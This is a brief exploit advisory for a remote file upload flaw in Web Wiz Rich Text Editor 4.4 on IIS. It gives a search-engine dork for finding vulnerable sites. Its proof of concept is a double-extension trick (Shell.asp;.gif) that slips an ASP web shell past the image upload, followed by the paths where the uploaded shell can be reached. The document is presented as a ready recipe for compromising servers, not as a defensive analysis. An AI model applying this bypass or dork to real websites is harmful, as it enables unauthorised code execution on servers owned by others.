Web Wiz Rich Text Editor 4.4 Remote File Upload

# Web Wiz Rich Text Editor 4.4 Remote File Upload
# http://www.richtexteditor.org/
# inurl:"RTE_popup_adv_image.asp"
# Windows/IIS
# ASP

POC :-
1. Shell Extension .gif --> Shell.asp;.gif
2. DIR --> http://target.com/my_documents/my_pictures/Shell.asp;.gif
                  http://target.com/Path/my_documents/my_pictures/Shell.asp;.gif

:* muah2 :*


Credit: Alex John